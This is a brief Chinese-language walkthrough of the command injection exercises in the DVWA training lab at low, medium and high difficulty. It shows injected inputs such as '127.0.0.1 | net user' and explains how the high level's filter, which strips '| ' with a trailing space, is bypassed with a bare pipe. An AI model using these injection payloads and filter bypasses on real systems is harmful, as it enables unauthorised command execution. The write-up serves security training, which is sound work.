@[toc]
dvwa命令注入-low
命令注入漏洞是执行系统命令的时候,对用户输入的字符未进行过滤或过滤不严格导致的。
- 输入127.0.0.1查看输出
- 有乱码,需进入dvwa文件的includes,替换dvwaPage.inc里的utf-8为gb2321并保存
- 再次输入127.0.0.1,乱码问题解决
- 进行命令注入
可通过管道符输入查询信息的命令
关于所用管道符的简单解释:windows和linux管道符解释
127.0.0.1 | dir
127.0.0.1 | ipconfig
...
dvwa命令注入-medium
- 代码审计
发现对IP参数进行了过滤,过滤掉了‘&&’和‘;’,但可以用其他通道符
127.0.0.1 | dir
127.0.0.1 | net user
...
dvwa命令注入-high
- 代码审计
发现过滤了更多的字符
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
但经观察发现所过滤的‘|’写的是‘| ’是将‘|’加一个空格过滤了,于是可以使用‘|’:
127.0.0.1|dir
127.0.0.1|net user
...